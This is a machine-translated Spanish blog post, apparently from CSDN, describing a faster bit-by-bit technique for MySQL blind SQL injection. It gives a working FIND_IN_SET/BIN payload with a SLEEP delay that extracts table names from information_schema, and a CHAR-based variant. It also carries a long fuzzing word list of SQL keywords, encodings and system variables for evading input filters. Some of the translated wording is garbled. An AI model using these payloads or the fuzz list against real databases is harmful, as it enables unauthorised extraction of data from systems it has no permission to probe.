Un nuevo método para mejorar la eficiencia de adivinar en la inyección ciega de MySQL

texto

Este método es mejor que la dicotomía, la inferencia de bits, etc.
Dirección original

Ejemplo de código de solicitud de consulta:

AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), ‘a,b,c,d,e,f

,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,

$,%,^,&,*,(,),-,+,=,\,,.,,\’,~,`,\\,|,{
    
    ,},[,],:,;, ,)),1,1) FROM in

formation_schema.tables LIMIT 1)=@a AND IF(@a!=”,@a,SLEEP(5));

Explicación

1 es positivo, 0 es falso y el retardo SLEEP (5) está vacío (representado como el último bit).

El principio puede referirse al texto original. La ventaja del método es que hay menos solicitudes, pero la desventaja es que no se puede determinar el caso (no se distingue la comparación de cadenas de MySQL), SLEEP () tarda demasiado, etc. .

Hay muchas cosas que se pueden optimizar. Por ejemplo, a-z0-9 generalmente es suficiente para adivinar el nombre de usuario, y la contraseña que distingue entre mayúsculas y minúsculas como CHAR () funcionará, así

FIND_IN_SET(CHAR(MID(table_name,1,1)), ’97,98,99′)SLEEP(3)

Demasiado tiempo, puede considerar usar el tiempo de ejecución para informar errores (como 1/0, escape®ex ...), y el primero no tiene que adivinar en absoluto, debe ser siempre 1, etc. Si desea utilizar esta tecnología, debe considerar todos estos, pero en general, este método sigue siendo muy nítido y lo admiro.

Recomendaciones

Xiaobai solo lo ha probado en su propio entorno, que es más conveniente que la dicotomía actual.
Permítanme decirles que, en la aplicación real, podemos hacer más restricciones sobre el tiempo de sueño.
No es necesario ejecutar la prueba de caracteres de una sola vez. Puede usar la idea de dicotomía para adivinar la solución.
Por supuesto, primero debe realizar una prueba de fuzz cuando se encuentre con un filtrado de caracteres.
Adjunta tu propia pelusa aquí

and
AND
&&
or
OR
xor
||
between
binary
|
&
=
like
LIKE
>
<
(
)
')
('
()
'
"
`
@
!
/*
*/
-
+
-- 
--
--+
#
\
;
;show databases;#
;show databases;%23
.
^
,
*,1
select
SELECT
union
UNION
order
by
from
where
database
limit
offset
information
schema
table
column
count
concat
group_concat
id
regexp
substr
mid
left
ascii
sleep
join
right
updatexml
extractvalue
exp
EXP
insert
into
delete
update
alter
create
all
distinct
not
as
desc
asc
having
floor
char
;%00
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon
handler
having
version()
database()
user()
@@datadir
@@basedir
@@version_compile_os
@@hostname
@@global.secure_file_priv
%0a
%0d
%09
%df
%20
%23
%27
%'
%1$
CREATE
END
reverse
group
if
case
drop
for
relike
rlike
like
in
else
ord
chat
hex
is
is not
outfile
bin
substring

Supongo que te gusta

Origin blog.csdn.net/weixin_46250265/article/details/114174109
Recomendado
Clasificación